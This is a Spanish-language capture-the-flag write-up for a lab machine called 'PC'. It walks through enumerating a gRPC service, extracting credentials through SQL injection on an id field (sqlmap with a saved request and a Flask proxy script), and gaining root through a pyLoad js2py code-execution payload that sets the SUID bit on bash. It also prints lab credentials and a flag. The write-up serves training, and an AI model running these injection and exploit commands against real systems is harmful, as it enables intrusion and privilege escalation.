PC

Table of contents

  1. Enumeracion
    1. Puerto 50051
    2. gRPC
    3. Interactuando con el servidor gRPC
    4. 1. SQL injection, gprcui y sqlmap -r
    5. 2. SQL injection con sqlmap simulando un proxy
  2. Escalada

Esta es una maquina bien interesante por que no tiene puerto 80, asi que descubrimeros el puerto 50051 el cual esta siendo usado por gRPC, despues usaremos un cliente gRPC para ver un poco como se estan estructurando los protobof, con base a las respuestas de las peticiones, haremos un SQL injection en el parametro ID. Para la escalada haremos un port forwarding y explotaremos una vulnerabilidad en pyLoad.

Enumeracion

Iniciamos con un escaneo con:

sudo nmap -sS -n -Pn --open -p- 10.129.93.244
  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

Y nos reporto que hay varios puertos abiertos:

PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

Les adelanto que si buscamos por versiones y servicios tampoco vamos a encontrar nada, asi que pasamos directamente a buscar en google

Puerto 50051

Al hacer unas busquedas como 50051 port y 50051 pentesting es cuando encuentro que corresponde a gRPC, asi que existe un servidor gRPC en la maquina, antes que nada, vamos a ver que es gRPC

gRPC

gRPC es una implementacion de RPC (Protocolo de llamada a procedimiento remoto) el cuale es usado en aplicaciones cliente-servidor, este funciona de esta forma:

imagen de grpc.io

Primeramente se debe de tener creado un servidor gRPC con un servicio creado en un lenguaje compatible con gRPC, en esa imagen es C++, despues para interactuar con ese servicio se usa un cliente gRPC stub, donde stub no es mas que nada una funcionalidad encargada de serializar los datos que se envian al servidor, en una arquitectura gRPC se hace uso de algo que se llama Protocol Buffers, que es un mecanismo para serializar datos estructurados, cuando se hace una peticion, esto datos pueden ir en JSON

Interactuando con el servidor gRPC

Una vez sabiendo que existe un servidor gRPC en la maquina, necesitamos un cliente o al menos algo para realizar peticiones hacia ese servidor, aqui encontre dos: grpcurl y grpcui, usaremos ambas:

Usare gprcurl guiandome de aca: https://notes.akenofu.me/Network%20Pen%20test/gRPC/

Primero listare los servicios expuestos por el servidor gRPC:

grpcurl -plaintext 10.129.93.244:50051 list

Esto nos arroja:

SimpleApp
grpc.reflection.v1alpha.ServerReflection

El unico que nos interesa es el primero, pero antes… Debo de decir que en un servicio gRPC existen metodos con los cuales podemos realizar peticiones hacia ese servicio para que haga cosas que esten previamente definidas

Para listar los metodos es asi:

grpcurl -plaintext 10.129.93.244:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

Vemos que existen 3 metodos, esos metodos tiene mas definiciones por dentro, que son los mecanismos protobuf asi que usaremos el comando:

grpcurl -plaintext 10.129.93.244:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

Y vemos que para el metodo LoginUser existe .LoginUserRequest y .LoginUserResponse

Ahora si queremos ver la definición de un protobuf usamos el comando:

grpcurl -plaintext 10.129.93.244:50051 describe LoginUserRequest

Y podemos ver la definicion:

LoginUserRequest is a message:
message LoginUserRequest {
  string username = 1;
  string password = 2;
}

Y vemos que tiene definido un nombre y contraseña, así que cuando se use el metodo de LoginUser estara esperando por un nombre y una contraseña.

Para no hacerlo tan largo, tenemos que nos podemos iniciar sesion, registrar y otro metodo que nos da una pequeña info, aremos los pasos en este orden para luego analizar una peticion

  • Registrarse
  • Iniciar sesion
  • Mostrar info

Te dejo los comando de como Registrarse, iniciar sesion y mostrar info usando grpcurl

  • Registro: grpcurl -plaintext -d '{"username":"c4rta", "password":"12345"}' 10.129.93.244:50051 SimpleApp.RegisterUser

  • Login: grpcurl -plaintext -d '{"username":"c4rta", "password":"12345"}' -v 10.129.93.244:50051 SimpleApp.LoginUser Esto arroja esto:

  • Mostrar info: grpcurl -plaintext -d '{"id":"784"}' -rpc-header 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5NjM2OTV9.9ocP1Hq9USx UAv_2BVxRFWLN8vDzlVxrkbiklyoU9ow' 10.129.93.244:50051 SimpleApp.getInfo

Debes de indicarle el ID y tu JWT.

Ahora si podemos pasar a la explotacion donde te mostrate 2 formas de hacerlo

1. SQL injection, gprcui y sqlmap -r

grpcui es un cliente gRPC similar a grpcurl, pero este tiene interfaz grafica, primero nos debemos de conectar al servidor gRPC:

grpcui -plaintext <IP>:50051

Esto nos abrira una web con las mismas funcionalidades que hicimos con grpcurl.

Primero creamos un usuario y esto nos debe de salir:

Ahora iniciamos sesion con ese usuario vamos a poder su JWK:

Ahora usaremos esos datos para mostrar la info del usuario que acabamos de crear, pero esta vez interceptaremos la peticion con burp:

Podemos ver que en la parte de data se le esta pasando nuestro ID y el servidor nos responde esto:

Aqui empece a buscar las diferentes vulnerabilidades que pueden a ver en gRPC y encontre este blog https://www.trendmicro.com/en_us/research/20/h/how-unsecure-grpc-implementations-can-compromise-apis.html, en una parte habla de SQLi, asi que como la data que esta tramitando es al id, entonces decidi probar injectiones en ese campo

Primero puse una comilla al final del ID:

"data":[
  {
    "id":"738'"
  }

Y eso me dio un error:

Seguramente el gestor de base de datos detecto un error en la consulta y arrojo eso, es posible que haya una SQLi, asi que probare con sqlmap. Tomando en cuenta que no tenemos un servidor web como tal, entonces debemos de guardar la peticion que interceptamos con burp y usando el argumento -r de sqlmap, podemos hacerlo, este es el archivo de mi peticion:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:36401
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: h000rrAARGYkr4dDDax5sQUcnTmszKcRiLhk-0Aep-k
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1:36401
Connection: close
Referer: http://127.0.0.1:36401/
Cookie: csrftoken=dv1RLiX7MBGMrZhvyWH0W4U4HIgJZdFp; _grpcui_csrf_token=h000rrAARGYkr4dDDax5sQUcnTmszKcRiLhk-0Aep-k
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5ODYwNDZ9.BVAx_9R6Cch8vwCUHknTLBm9l0wukqMrsy9TJcsGlJE"}],"data":[{"id":"738"}]}

Y el comando de sql map es:

sqlmap -r "$(pwd)/peticion" -level 5 --risk 3 --batch --dump

Eso automaticamente nos sacara todas las tablas, columnas, e informacion en ellas, ahi podremos ver un usuario y contraseñas

2. SQL injection con sqlmap simulando un proxy

(la idea de la solucion no es mia, Tysm to Cack for giving me the idea)

Basicamente es levantar un servidor web con python, el cual actua como proxy, y que travez de un parametro recibira el payload de sqlmap. Este actuaria entre sqlmap y el servidor gRPC, el codigo al que llegue es:

import subprocess
import json
from flask import Flask, request

app = Flask(__name__)

@app.route('/payload')
def ctrl_payload():
    payload = request.args.get('p')
    payload = payload.replace('"', "'")
    payload = '{"id": "' + payload + '"}'
    print(payload)
    cmd = ['grpcurl', '-plaintext', '-d', payload, '-rpc-header', 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5ODYwNDZ9.BVAx_9R6Cch8vwCUHknTLBm9l0wukqMrsy9TJcsGlJE', '10.10.11.214:50051', 'SimpleApp.getInfo']
    output = subprocess.check_output(cmd)

if __name__ == '__main__':
    app.run(port=12345)

Como pueden ver, al parametro ID vulnerable a SQLi se le concatena el payload, donde ese payload es el de sqlmap, despues se le pasa ese payload a la variable cmd, y por ultimo ejecuta ese comando, que vendria siendo el grpcurl pero con el payload de sqlmap

Y esto daria el mismo resultado que la primera forma:

Ahora solo queda conectarnos a ssh con las credenciales que obtuvimos

usr: sau

passwd: HereIsYourPassWord1431

Y ya tenemos la primera flag:

sau@pc:~$ cat user.txt 
9346084c975a3b22536e1c6ef783075f

Escalada

Empezare usando linpeas para ver que nos reporta, lo mas interesante es que en la maquina victima esta corriendo el puerto 8000:

Y como se imaginan, debemos de hacer port forwarding, ejecutamos este comando en nuestra maquina:

ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214

Una vez dentro, veremos una pagina de pyLoad, buscando en google por vulnerabilidades, existe una ejecucion arbitraria de codigo que abusa de la funcion js2py, aca hay un post que habla sobre ello: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/

Para conseguir root, debemos de asignarle permisos SUID a bash, esto lo hacemos con:

curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'

Y listo, esto es todo, gracias por leer ❤